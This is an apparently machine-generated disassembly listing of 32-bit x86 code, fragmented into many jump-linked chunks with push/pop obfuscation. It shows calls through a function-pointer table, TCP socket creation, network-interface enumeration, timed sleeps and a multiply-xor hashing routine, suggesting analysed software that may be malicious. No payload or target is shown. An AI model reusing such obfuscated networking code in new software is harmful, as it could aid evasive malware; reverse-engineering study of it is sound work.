		push	0
		push	esi
		push	30h
		pop	eax
		call	sub_9AC32C
		mov	[ebp-58h], eax
		test	al, 21h
		jz	loc_9B4254
		jmp	off_9B87F6
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B5894:				; CODE XREF: sub_9AB1A0+9965j
					; sub_9AB1A0+AAD1j
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		push	eax
		push	off_9B9F99
		call	dword ptr [edx+34h]
		push	dword_9BEBD0
		pop	eax
		imul	eax, 3B6h
		cdq
		and	edx, 7FFh
		add	eax, edx
		push	eax
		pop	ecx
		push	3E8h
		pop	eax
		sar	ecx, 0Bh
		sub	eax, ecx
		mov	[ebp-30h], eax


loc_9B58CD:				; CODE XREF: sub_9AB1A0+1BBCj
					; sub_9AB1A0+38AFj
		mov	eax, [ebp+0Ch]
		push	eax
		pop	edx
		dec	eax
		test	edx, edx
		mov	[ebp+0Ch], eax
		jz	loc_9B11EB
		jmp	off_9B92AA
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B58E4:				; CODE XREF: sub_9B1F68+6E7j
		push	0
		push	esi
		call	sub_9B0E7C
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		push	esi
		call	dword ptr [eax+38h]


loc_9B58FB:				; CODE XREF: sub_9B1F68+6E1j
		inc	edi
		jmp	loc_9AE84E
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B5904	proc near		; CODE XREF: sub_9AEAAC+19F5j
					; DATA XREF: .text:off_9B9EE9o

; FUNCTION CHUNK AT 009AB198 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009AC524 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 009ACF8C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009AF6B8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009AFF18 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B129C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009B25BC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B3EE8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B42F0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B4388 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009B47E8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009B4AA4 SIZE 00000018 BYTES

		push	ebx
		call	sub_9B3EFC
		add	esp, 4
		test	eax, eax
		jz	loc_9B42FE
		jmp	loc_9ACF8C
sub_9B5904	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9B591C:				; CODE XREF: sub_9ABD30+21D6j
					; sub_9ABD30+A061j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC448


loc_9B5928:				; CODE XREF: sub_9AC448+8j
					; DATA XREF: .text:off_9BABE7o
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	eax
		call	dword ptr [edx+80h]
; END OF FUNCTION CHUNK	FOR sub_9AC448
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B593C:				; CODE XREF: sub_9B63D8-5026j
		or	ebx, ebx
		jz	loc_9AF944
		jmp	off_9BAD10
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9B594C:				; CODE XREF: sub_9AC250+4D1Dj
					; DATA XREF: .text:off_9BAD48o
		mov	ebx, [esi+0Ch]
		mov	edx, ebx
		shr	edx, 5
		push	edx
		pop	ecx
		mov	ebp, 1
		and	ecx, 1Fh
		shl	ebp, cl
		shr	edx, 5
		test	dword_9BA4E8[edx*4], ebp
		jnz	loc_9B536C
		jmp	off_9BAAD4
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B5978:				; CODE XREF: sub_9ACEE8-3E0j
		xor	ebx, ebx
		mov	[ebp-0B4h], ebx
		call	sub_9B227C
		mov	[ebp-0B8h], eax
		mov	edi, [ebp-0D4h]
		test	edi, edi
		jz	loc_9B0FA3
		jmp	loc_9B33AC
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B59A0:				; CODE XREF: sub_9B1A08-380Cj
		call	sub_9AC448
		mov	dword ptr [ebx], 0


loc_9B59AB:				; CODE XREF: sub_9B1A08-4160j
					; sub_9B1A08-3812j
		inc	esi
		jmp	loc_9AD78A
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2010


loc_9B59B4:				; CODE XREF: sub_9B2010-38FDj
					; DATA XREF: .text:off_9B8956o
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	1388h
		call	dword ptr [ecx+4]
		jmp	loc_9B012F
; END OF FUNCTION CHUNK	FOR sub_9B2010
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2160


loc_9B59CC:				; CODE XREF: sub_9B2160-2E0Dj
		sub	eax, eax
		push	ebx
		pop	ecx
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		push	edx
		pop	ecx
		and	ecx, 3
		rep stosb


loc_9B59DE:				; CODE XREF: sub_9B2160-2E13j
		push	dword ptr [esi+48h]
		pop	edi
		test	edi, edi
		jz	loc_9B165A
		jmp	off_9BA170
; END OF FUNCTION CHUNK	FOR sub_9B2160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B59F0:				; CODE XREF: sub_9B1A08-4576j
					; DATA XREF: .text:off_9B97E1o
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]
		sub	eax, [ebp+var_4204]
		cmp	eax, 2710h
		jbe	loc_9AF398
		jmp	loc_9AD788
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AE860


loc_9B5A10:				; CODE XREF: sub_9AE860+F05j
					; DATA XREF: .text:off_9BA9FDo
		mov	ecx, off_9BA1D0[edx*4]
		mov	esi, ecx


loc_9B5A19:				; CODE XREF: sub_9AE860+71BEj
		mov	dl, [ecx]
		inc	ecx
		or	dl, dl
		jnz	short loc_9B5A19
		jmp	off_9BADA8
; END OF FUNCTION CHUNK	FOR sub_9AE860
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-1Ch]
		pop	esi
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	eax, esi
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC170


loc_9B5A4C:				; CODE XREF: sub_9AC170+Bj
					; DATA XREF: .text:off_9B8C2Eo
		mov	esi, off_9B94FC
		mov	ecx, 0Ch
		rep movsd
		movsw
		movsb
; END OF FUNCTION CHUNK	FOR sub_9AC170
; START	OF FUNCTION CHUNK FOR sub_9B6078


loc_9B5A5C:				; CODE XREF: sub_9B6078+3Bj
		cmp	edx, 3
		jnz	loc_9AB94D
		jmp	off_9B96E0
; END OF FUNCTION CHUNK	FOR sub_9B6078
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEE5C


loc_9B5A6C:				; CODE XREF: sub_9AEE5C+1965j
					; DATA XREF: .text:off_9B8FC8o
		push	dword ptr [edx+ecx+4]
		pop	eax


loc_9B5A71:				; CODE XREF: sub_9AEE5C-E61j
					; sub_9AEE5C+195Fj
		pop	esi
; END OF FUNCTION CHUNK	FOR sub_9AEE5C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B5A74:				; CODE XREF: sub_9B63D8-8CE1j
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		push	6
		push	1
		push	2
		call	dword ptr [eax+20h]
		push	eax
		pop	esi
		mov	[ebp-2138h], esi
		test	esi, esi
		jz	loc_9AF944
		jmp	loc_9B54C0
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABC20


loc_9B5A9C:				; CODE XREF: sub_9ABC20+25j
					; DATA XREF: .text:off_9B8FB3o
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	esi, ecx
		push	[ebp+arg_4]
		pop	ebx
		mov	[ebp+var_4], 0
		push	ebx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, dword_9BBD28
		push	ecx
		call	sub_9AE860
		add	esp, 0Ch
		test	esi, esi
		jz	loc_9ADBF9
		jmp	sub_9B4BF8
; END OF FUNCTION CHUNK	FOR sub_9ABC20
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B5AD3:				; CODE XREF: sub_9B1F68-3715j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	0
		call	dword ptr [edx+60h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-1Ch]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B5B08:				; CODE XREF: sub_9B0930-D0Ej
					; DATA XREF: .text:off_9BAF3Co
		pop	eax
		push	dword ptr [eax+4]
		pop	edx
		mov	ecx, [edx+4]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AB374
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B5B20:				; CODE XREF: sub_9B63D8-8533j
		push	dword ptr [ebp-2130h]
		pop	eax
		jmp	loc_9ACBAF
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B5B2C:				; CODE XREF: sub_9AB1A0+2B2Fj
					; sub_9AB1A0+46C4j ...
		lea	ecx, [edi+edi*2]
		shl	ecx, 2
		push	dword_9BCBB4[ecx]
		pop	eax
		inc	eax
		mov	dword_9BCBB4[ecx], eax
		mov	edx, dword_9BCBBC[ecx]
		mov	[ebp-38h], edx
		push	dword_9BCBB8[ecx]
		pop	ecx
		xor	eax, ecx
		imul	eax, 55E206F1h
		xor	eax, edx
		imul	eax, 0ADEFED73h
		xor	eax, ecx
		imul	eax, 0E4B24259h
		xor	eax, edx
		mov	esi, eax
		mov	[ebp-3Ch], ecx
		mov	[ebp-1Ch], esi
		push	esi
		call	sub_9AFCA0
		add	esp, 4
		test	eax, eax
		jz	short loc_9B5B2C
		jmp	off_9B890C
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B5B88:				; CODE XREF: sub_9AB1A0+996Bj
		dec	eax
		jmp	loc_9B5C6C
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B5B90:				; CODE XREF: sub_9AB1A0+35C7j
		push	esi
		call	sub_9AFCA0
		add	esp, 4
		or	eax, eax
		jnz	loc_9AEA4D
		jmp	off_9BA08F
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B5BA8:				; CODE XREF: sub_9B63D8-AE6Cj
					; DATA XREF: .text:off_9BA364o
		mov	dword ptr [ebp-215Ch], 103h
		mov	edx, dword_9BCB74
		push	dword ptr [edx+4]
		pop	eax
		lea	ecx, [ebp-215Ch]
		push	ecx
		lea	edx, [ebp-120h]
		push	edx
		push	0
		call	dword ptr [eax+4]
		test	eax, eax
		jnz	loc_9B4EC8
		jmp	loc_9AD014
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AD01C


loc_9B5BE3:				; CODE XREF: sub_9AD01C+62j
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AD01C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B5BFC:				; CODE XREF: sub_9B4950-3BE0j
					; DATA XREF: .text:off_9B9F17o
		mov	dword_9BEC24[edi], ebx
		lea	ecx, dword_9BEC34[edi]
		call	sub_9B31A8
		lea	ecx, dword_9BEC38[edi]
		call	sub_9B31A8
		lea	ecx, dword_9BEC3C[edi]
		call	sub_9B31A8
		lea	ecx, dword_9BEC40[edi]
		call	sub_9B31A8


loc_9B5C2E:				; CODE XREF: sub_9B4950-5A10j
					; sub_9B4950-3BE6j ...
		inc	esi
		jmp	loc_9B36AE
; ---------------------------------------------------------------------------


loc_9B5C34:				; CODE XREF: sub_9B4950-98D6j
		cmp	dword_9BEC24[esi], ebx
		jz	loc_9AFE40
		jmp	off_9B9978
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B5C48:				; CODE XREF: sub_9AB1A0+40j
		push	off_9B9632
		call	dword ptr [edx+18h]
		mov	dword ptr [ebp-4], 1
		mov	ebx, [ebp+10h]
		mov	dword ptr [ebx], 0
		call	sub_9AF698
		push	800h
		pop	eax


loc_9B5C6C:				; CODE XREF: sub_9AB1A0+A9E9j
		mov	[ebp-2Ch], eax
		test	eax, eax
		jle	loc_9B5894
		jmp	off_9B99DC
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ACF9C


loc_9B5C80:				; CODE XREF: sub_9ACF9C+1FECj
		call	sub_9B2160
		push	eax
		pop	ebx
		mov	[ebp-1Ch], ebx
		test	ebx, ebx
		jz	loc_9ADA23
		jmp	loc_9AFCBC
; END OF FUNCTION CHUNK	FOR sub_9ACF9C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B6264


loc_9B5C98:				; CODE XREF: sub_9B6264-2C5j
		lea	eax, [ebp-99Ch]
		push	eax
		push	0AF286BCBh
		pop	eax
		mov	ecx, [ebp-9A4h]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 6
		push	ecx
		call	sub_9AEAAC
		mov	dword ptr [ebp-9A0h], 1


loc_9B5CC6:				; CODE XREF: sub_9B6264-2CBj
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		push	esi
		call	dword ptr [edx+38h]
		jmp	loc_9AE18F
; END OF FUNCTION CHUNK	FOR sub_9B6264
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B5CDC	proc near		; CODE XREF: sub_9B037C-49CAp
					; sub_9B1F68-591Ep ...

arg_0		= dword	ptr  4

		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	[esp+arg_0]
		pop	eax
		push	edx
		push	dword ptr [eax+8]
		pop	edx
		push	edx
		call	dword ptr [ecx+28h]
		neg	eax
		sbb	eax, eax
		inc	eax
		retn	4
sub_9B5CDC	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABA3C


loc_9B5CFC:				; CODE XREF: sub_9ABA3C+33CCj
					; DATA XREF: .text:off_9BABA8o
		sub	eax, edx
		mov	[esi+eax-1], bl


loc_9B5D02:				; CODE XREF: sub_9ABA3C+56j
					; sub_9ABA3C+4C9Fj
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		lea	ecx, [ebp-120h]
		push	ecx
		push	ebx
		push	off_9BA865
		push	esi
		call	dword ptr [eax+3Ch]
		jmp	loc_9B50EC
; END OF FUNCTION CHUNK	FOR sub_9ABA3C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0FD0


loc_9B5D24:				; CODE XREF: sub_9B0FD0+C85j
					; DATA XREF: .text:off_9BAF5Fo
		push	eax
		pop	ecx
		mov	[ebp-1Ch], ecx


loc_9B5D29:				; CODE XREF: sub_9B0FD0+50j
		mov	edx, dword_9BCB74
		push	dword ptr [edx+14h]
		pop	eax
		shl	ecx, 2
		push	ecx
		push	off_9B985C
		push	offset dword_9BCBD0
		call	dword ptr [eax+8]
		add	esp, 0Ch
		mov	dword_9BCBCC, esi
		call	sub_9B227C
		mov	dword_9BEBD4, eax
		call	sub_9AF698
		jmp	loc_9B27EF
; END OF FUNCTION CHUNK	FOR sub_9B0FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B46CC


loc_9B5D64:				; CODE XREF: sub_9B46CC-7D99j
					; DATA XREF: .text:off_9BA388o
		push	49614D80h
		pop	eax
		jmp	loc_9B2C05
; END OF FUNCTION CHUNK	FOR sub_9B46CC
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B5D70:				; CODE XREF: sub_9B04A8+A20j
					; DATA XREF: .text:off_9B8D89o
		inc	dword ptr [ebp-4040h]
		jmp	loc_9B5196
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B5D7C:				; CODE XREF: sub_9B3864-5E63j
					; DATA XREF: .text:off_9B96C8o
		movzx	edx, word ptr [esi+2]
		jmp	loc_9B36CA
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9B5D88:				; CODE XREF: sub_9ABD30+21DCj
					; DATA XREF: .text:off_9B9797o
		mov	edx, [esp+0Ch+arg_4]
		add	edx, 0FFFFFFFEh
		cmp	eax, edx
		jg	loc_9B591C
		jmp	off_9BAA0D
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B174C


loc_9B5DA0:				; CODE XREF: sub_9B174C+285Aj
					; DATA XREF: .text:off_9B987Ao
		push	ecx
		pop	eax
		jmp	loc_9B54EA
; END OF FUNCTION CHUNK	FOR sub_9B174C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFB1C


loc_9B5DA8:				; CODE XREF: sub_9AFB1C-131Dj
		push	dword ptr [edi+0Ah]
		pop	eax
		mov	[esi+4], eax
		mov	dword ptr [ebp-1Ch], 0Eh
		push	dword_9BCB74
		pop	ecx
		xor	eax, eax
		push	dword ptr [ecx+10h]
		pop	edx
		mov	ax, [edi+0Eh]
		push	eax
		call	dword ptr [edx+8]
		jmp	off_9B9575
; END OF FUNCTION CHUNK	FOR sub_9AFB1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACA48


loc_9B5DD4:				; CODE XREF: sub_9ACA48+466Bj
					; DATA XREF: .text:off_9B9F13o
		mov	[ebp-4024h], di
		neg	ebx
		sbb	ebx, ebx
		add	ebx, 5
		push	ebx
		push	2002h
		lea	eax, [edi+2]
		mov	edi, esi
		lea	ecx, [ebp-4024h]
		call	sub_9B5300
		mov	[ebp-4054h], eax
		cmp	eax, 4
		jnz	short loc_9B5E0C
		jmp	off_9B97C5
; END OF FUNCTION CHUNK	FOR sub_9ACA48
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACA48


loc_9B5E0C:				; CODE XREF: sub_9ACA48+A3j
					; sub_9ACA48+11F0j ...
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	eax
		push	esi
		call	dword ptr [eax+38h]
		jmp	loc_9B26DF
; END OF FUNCTION CHUNK	FOR sub_9ACA48
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9B5E20:				; CODE XREF: sub_9AC32C+9E8Cj
		jnz	loc_9B5034
		jmp	loc_9B3DA4
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC128


loc_9B5E2C:				; CODE XREF: sub_9AC128+3986j
		push	dword_9BCB74
		pop	edx
		lea	ecx, [esp+4+var_4]
		push	ecx
		push	edi
		mov	[esp+0Ch+var_4], 10h
		push	dword ptr [edx+10h]
		pop	eax
		push	esi
		call	dword ptr [eax+0Ch]


loc_9B5E48:				; CODE XREF: sub_9AC128+3980j
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_9AC128
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B5E4C:				; CODE XREF: sub_9B63D8-69E9j
		cmp	cl, 39h
		jg	loc_9AF944
		jmp	off_9BA615
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B5E5C:				; CODE XREF: sub_9ADAC4+189Cj
					; sub_9ADAC4+8872j
					; DATA XREF: ...
		push	edi
		xor	edx, edx
		call	sub_9B5CDC
		test	eax, eax
		jz	loc_9B4CB0
		jmp	loc_9B4EB8
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B037C


loc_9B5E74:				; CODE XREF: sub_9B037C-49C3j
		push	2000h
		lea	ecx, [ebp-401Ch]
		push	ecx
		mov	eax, 6
		lea	ecx, [ebp-403Ch]
		lea	ebx, [ebp-4054h]
		call	sub_9B0734
		mov	[ebp-4048h], eax
		test	al, 1
		jz	loc_9B2B08
		jmp	loc_9AD10C
; END OF FUNCTION CHUNK	FOR sub_9B037C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B5EAC:				; CODE XREF: sub_9B0930-5329j
					; DATA XREF: .text:off_9BA5E8o
		push	off_9BA7FE
		mov	ecx, [eax]
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx+0Ch]
		pop	ecx
		mov	[ecx+0Ch], eax
		mov	edx, dword_9BCB74
		push	dword ptr [edx+0Ch]
		pop	eax
		push	dword ptr [eax+0Ch]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B9897
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B5EE0:				; CODE XREF: sub_9B1F68-1D80j
		sub	edx, edx


loc_9B5EE2:				; CODE XREF: sub_9B1F68-AE7j
		mov	[ebp-34h], edx


loc_9B5EE5:				; CODE XREF: sub_9B1F68+2107j
		cmp	edx, ebx
		jnb	loc_9ACD83
		jmp	loc_9ADDEC
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AEAAC


loc_9B5EF7:				; CODE XREF: sub_9AEAAC-216j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	off_9BAD92
		call	dword ptr [ecx+1Ch]
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9AEAAC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3150


loc_9B5F24:				; CODE XREF: sub_9B3150-307Aj
		push	dword ptr [ebx]
		pop	ecx
		mov	edx, ecx
		shr	ecx, 2
		push	dword ptr [ebx+48h]
		pop	edi
		rep stosd
		push	edx
		pop	ecx
		and	ecx, 3
		jmp	off_9BA093
; END OF FUNCTION CHUNK	FOR sub_9B3150
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B6504


loc_9B5F40:				; CODE XREF: sub_9B6504-4512j
		call	sub_9A514A
		or	eax, eax
		jz	loc_9B1C93
		jmp	off_9B9781
; END OF FUNCTION CHUNK	FOR sub_9B6504
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B5F54:				; CODE XREF: sub_9AB1A0+216Bj
					; sub_9AB1A0+539Dj ...
		mov	eax, [ebp+0Ch]
		push	eax
		pop	edx
		dec	eax
		and	edx, edx
		mov	[ebp+0Ch], eax
		jz	loc_9AFE6F
		jmp	off_9B9E87
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B6264


loc_9B5F6C:				; CODE XREF: sub_9B6264+68j
					; DATA XREF: .text:off_9B9F07o
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		push	edi
		push	edi
		lea	ecx, [ebp-9A4h]
		push	ecx
		push	980h
		lea	edx, [ebp-99Ch]
		push	edx
		push	edi
		push	edi
		push	4004747Fh
		push	esi
		call	dword ptr [eax+4]
		or	eax, eax
		jnz	loc_9B5CC6
		jmp	loc_9B5C98
; END OF FUNCTION CHUNK	FOR sub_9B6264
; ---------------------------------------------------------------------------
		xor	eax, edx
		imul	eax, 55E206F1h
		xor	eax, ecx
		imul	eax, 0ADEFED73h
		xor	eax, edx
		imul	eax, 0E4B24259h
		xor	eax, ecx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B5FC0	proc near		; CODE XREF: sub_9B14CC+2805p

var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= byte ptr -120h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AEB27 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009B00DC SIZE 0000004E BYTES
; FUNCTION CHUNK AT 009B20C8 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 009B2CFC SIZE 00000031 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B8CB1
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 11Ch
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		xor	esi, esi


loc_9B6000:				; CODE XREF: sub_9B5FC0-3298j
		mov	[ebp+var_12C], esi
		cmp	esi, 2
		jge	loc_9AEB27
		jmp	off_9B9018
sub_9B5FC0	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B6018:				; CODE XREF: sub_9AF25C-3645j
					; DATA XREF: .text:off_9BAB88o
		mov	edi, dword_9BCB98
		mov	[ebp-34h], edi
		call	sub_9B227C
		add	eax, edi
		cmp	eax, ebx
		jnb	loc_9AB8D1
		jmp	off_9B89D3
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADE44


loc_9B6038:				; CODE XREF: sub_9ADE44+4Bj
		pop	ebx
; END OF FUNCTION CHUNK	FOR sub_9ADE44
; START	OF FUNCTION CHUNK FOR sub_9B2C30


loc_9B6039:				; CODE XREF: sub_9B2C30+8j
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_9B2C30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B603C:				; CODE XREF: sub_9AF25C+5467j
					; DATA XREF: .text:off_9B8DD4o
		mov	eax, [esi+48h]
		call	sub_9AC448
		mov	[esi+48h], ebx
		mov	dword_9BBD30, edi
